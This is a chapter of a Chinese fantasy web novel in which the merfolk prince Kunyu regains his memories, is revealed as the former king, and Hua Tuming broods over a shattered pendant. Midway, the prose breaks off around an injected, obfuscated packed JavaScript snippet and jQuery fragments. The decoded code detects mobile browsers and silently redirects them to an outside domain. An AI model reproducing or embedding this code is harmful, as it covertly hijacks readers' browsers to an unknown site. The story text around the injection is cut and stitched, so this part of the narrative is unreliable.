银线随着他的力度下降,掉落,水滴形吊坠落在蚌壳边缘上,好似水中泡沫一般,一触即碎。
大殿内,琨玉猛地哆嗦一下,宝蓝色的眸子霎时掀起惊涛骇浪,他头痛欲裂,眉头死死拧着,海水自他周围向外荡开。
大殿内一应装饰顿时东倒西歪,鲛绡帘随波乱舞,苏洛德惊叫一声,捂着眼睛侧过身去。
宝华拽着帘子勉强站稳,他震惊抬眸,见始作俑者痛苦地倒了下去。
琨玉再也抓不稳长戟,长戟刺破他的手掌,鲜血在水晶上蔓延,下一刻,“噗嗤”一声,长戟顺势捅上他的肩头。
——随即顿住了。
王上面上一惊,她似乎下意识想收手,但滔天怒火让她止住动作,尽管如此,也再不能前进一分。
锋利的长戟就这么卡在琨玉肩头。
琨玉似乎感觉不到疼痛一般,他脑中乱七八糟,翻江倒海,一片混乱,形形色色的人和事蓦地涌他的脑海,他感到自己的头撑的要炸了。
好似忽然意识到什么,琨玉煎熬地闭上双眼。
过去的记忆翻涌着,他感到自己脑海中好像破了一个口子,成群结队的“曾经”不分前后地钻了进去。
幼时,少时,亲友,南海,人族,帝都,战袍……
一幅幅画面仿佛烙进他心中,刻骨铭心,让他此生此时再不能忘。
他终于记起了自己是谁。
也记起了自己曾经犯下的无法弥补的错误。
海波激荡,撞在水晶上发出沉闷的声响,好似一个风烛残年的老人回忆过去时发出的重重叹息。
水晶宫内光影交织,海水模糊了面容,也糊住了琨玉眼前的世界,他感到耳边嗡嗡作响,眼前朦胧迷离。脑海中画面的最后,定格在两个月来让他魂牵梦绕的大雪中。
满园红梅,左丘颂景撑着玲珑小伞,回身朝他笑,“琨玉啊,我以后才不要和你过日子。”
他听到年少的自己有些焦急地问:“为何?”
“你想想,你是鲛人皇子,”左丘颂景声音中带着笑意,“日后也必定是要回到南海的水晶宫中去的,我可是在这皇宫待够了,一时一刻也不想再待在里面。”
“你要是真心喜欢我,日后就和我过日子,而不是要求我与你一起。”
“我们一起去浪迹天涯,自由自在的。”
“何处为家?——此心安处是吾乡。”
少女的声音忽远忽近,越来越模糊,最终化成一道渺远的长音。
琨玉咳出一口血,颤抖着手握上水晶长戟,他挣扎着抬眸,对上王上复杂的眼神。
“落……”他几不可闻地开口,“……落尔京……”
最后一个字音落下,他好似用尽了全部力气,沉沉阖上眸。
闻言,落尔京怔住了。
她不可思议地望着琨玉,眼眶震颤,瞳孔中交织着复杂的情绪,嘴唇被咬出血来。
鲜血顺着她的下巴滴落,溅在水晶地板上,好似开了一朵嫣红的小花。
琨玉毫无意识地倒下,长戟因此刺得更深。落尔京盯着琨玉肩头的血肉模糊,眸光微动,似乎这才反应过来。
她发出一声悲恸的大喊,拔掉长戟,跪在地上搂着琨玉。琨玉的血沾了她满身。
宝华目瞪口呆地看着这一番变故,不由自主伸出手,想说些什么,缓了片刻,才道:“王上……”
落尔京整个人都在颤抖着。
鲛人王上尊贵无双,鲜少有这般玉冠倾倒,发丝凌乱,浑身狼狈的时候,可落尔京仿佛已经顾不得这么多了。
她颤抖着吸了一下鼻子,“琨……琨……琨玉……琨玉……”
宝华愣了一下,怀疑自己听错了,“王上,您说什么?”
苏洛德躲在鲛绡帘后,闻言身形一顿,她隔着鲛绡回头望了一眼外边情景,终究是没有勇气掀开帘子,她好看的眉头皱了起来,“王上……”
宝华几步抢上前,“姑姑!”看到眼前极富冲击力的场景,他不禁退后一步,“……您到底在说什么?!”
落尔京一只手按在琨玉肩头止血,神志被宝华一嗓子嗷了回来。
不愧是久居王位,落尔京闭上眼长叹一口气,在睁眼时就堪堪恢复了镇定。
她轻轻放下琨玉,抬手理了理发冠,“宝华,莫要无礼,”她用一种冷静的语气道,“这是你叔叔。”
这是……
她这一句轻轻的话落到宝华耳中,却仿若一锤重击,将他生生钉在原地,动弹不得。
反倒是苏洛德的声音从鲛绡帘后面传来,“是……琨玉!”她似乎急切的想出来,但不知顾忌什么,抬起的手沉默片刻又放了下去。
“姑姑您……”宝华有些不自然地动了动唇,仿佛那张嘴不是长在他的脸上,“您不要拿他开玩笑好嘛,他怎么可能是……”
他视线慌乱地落到落尔京脸上,盼望着她能马上说自己认错了。
“宝华,”落尔京站起身,“你吵吵嚷嚷了十余年,尽是想见先王。”她睨了一眼少年,“怎么如今人在你面前,倒不敢认了。”
“我……”
宝华还没说出个所以然,就听鲛绡帘内传来“砰”的一声,苏洛德身影在帘后倒下,竟是晕过去了。
他艰难地看向琨玉,脑海中不禁浮现出第一次见他的场景,那是在一个傍晚,彼时琨玉立在高墙下,眉眼弯弯,神色却是冷淡。
这一路来,他的确未曾知琨玉姓甚名谁,可那是因为,他并未将琨玉放在心中,琨玉不提,他也不屑于知道他的名字。
而且他对琨玉的印象也并不是很好,尽管一路上,对方帮了自己许多忙。
现在细细想来,自认识后,这个鲛人一直从容淡定,好像所有事都在他的掌控之中,他永远是不急不缓,修为甚高,脾气很好的样子。
可就算如此,他也不能是先王琨玉。
他怎么能是先王琨玉?
——那个曾经让他仰望,一直当做榜样,可望而不可即的人。
宝华眼角抽搐,狠狠闭上眼。
自醒来后就一直陪伴着自己的水滴形吊坠,在花途明眼前破碎,她甚至都没来得及伸手接一下。
……就这么碎了。
花途明怔了一下,随即心口涌上一股悲痛,好似自己弄坏了一个很重要的东西。
承灵阿在她眼前昏死过去,悄无声息。
花途明下意识想去搂吊坠残片,可那吊坠不知是什么材质,一碎即融,眨眼就化在海水中,茫茫寻不到。
花途明只好将银线捡起来,有些失神地呆坐了片刻,不知自己此刻是个什么心情。只觉好似心头漏了个口子,苦涩的海水倒了进来,让她揪心的厉害。
她有些烦躁地站起身,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15661858|167459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许是坐得久了,忽然觉得头脑有些发晕。
撑在水晶树上缓了一会,花途明耳边仍然嗡嗡作响,她将银钱重新系在脖颈上,面无表情地盯着五彩水晶树。
“琨玉……”她不由自主地念起他的名字。
同时脑海中浮现出方才的对话。
——“先王谁?”
——“先王琨玉。”
——“她是先王琨玉的挚爱。”
“……”花途明闭了闭眼,有一种自己被耍了的感觉。
她回忆起过去的点点滴滴,忽然发现原来一切都有迹可循。
遮遮掩掩的过往,欲盖弥彰的身世……
她以为他是失忆了——可果真如此吗?
又或者说,他是否在某一刻,已经恢复记忆了呢?
花途明想起当初在瑞宁时,琨玉说看到一个人和她长得很像,当初他看到的是谁,亦或者,他是想到谁了?
都说她和左丘颂景长得像,那琨玉在看自己的时候,是不是在透过她看别的什么人?他眼中的脉脉深情又是对谁的?
他是南海先王,为何是先王?曾经究竟发生了什么事?——如今他重回南海,又是为了什么?
——果真是想要解除二人联系这么简单吗?
花途明深吸一口气,心中十分不舒服,就连她自己都说不出这股怨气从何而来。
是源自琨玉身份的隐瞒吗?——可她自己也不曾交换真实身份。
那是因为自己被无缘无故骗到这里?——可她自己也不能保证,琨玉是否真的居心不良。
难不成是因为琨玉次次看自己,都可能是在透过自己看别人??
——我对他有这么上心吗?
花途明烦躁地捋了一把头发,强行将这个念头压下去。
这一动作,她才忽然意识到,自己掌心原本撕裂般的疼痛不知何时竟消失了,她怔怔看了一会手掌,耳边响起一串轻响。
仿佛有海波从远方荡来,吹起水晶树上的流苏,水晶晃荡,铃铃作响。
花途明望着殿外,将手攥成拳,下定决心去找琨玉问个清楚。
谁知刚跨出殿门,就有两个鲛人快速过来,伸手拦住她,说王上下令,让她在殿内等。
花途明:“这要等到何时?”
那两个鲛人似乎听不懂她在说什么,只是拦住她的去向,重复着让她殿内等候。
他二人虽看起来瘦弱,可花途明光用手指头想想,就知道自己不是这二人的对手,她扯起嘴角笑了笑,识相地退回殿中。
不久后,有两个年轻漂亮的女子来到偏殿,将承灵阿拖了回去。承灵阿睡得很沉,一点也不挣扎,任由二人动作。
其中一女子瞥了花途明一眼,花途明冲她礼貌的笑笑,对方脸色却不是很好看,好像花途明方才对承灵阿做了什么坏事一样。
殿内归于一片寂静,花途明倚在蚌壳上,思绪颇乱。
杂乱的线头理不开,剪不断,花途明长叹一声,干脆也不为难自己——既来之则安之,船到桥头自然直,命里有时终须有,命里无时莫强求……
她闭上眼,一条胳膊盖在眼睛上,在心里默念着,将自己从纷杂思绪中剥离出来,忽然想要睡一觉。
正当她浑浑噩噩时,却被一声响声惊动。
她掀开胳膊,歪头,看到殿中不知何时又出现一人。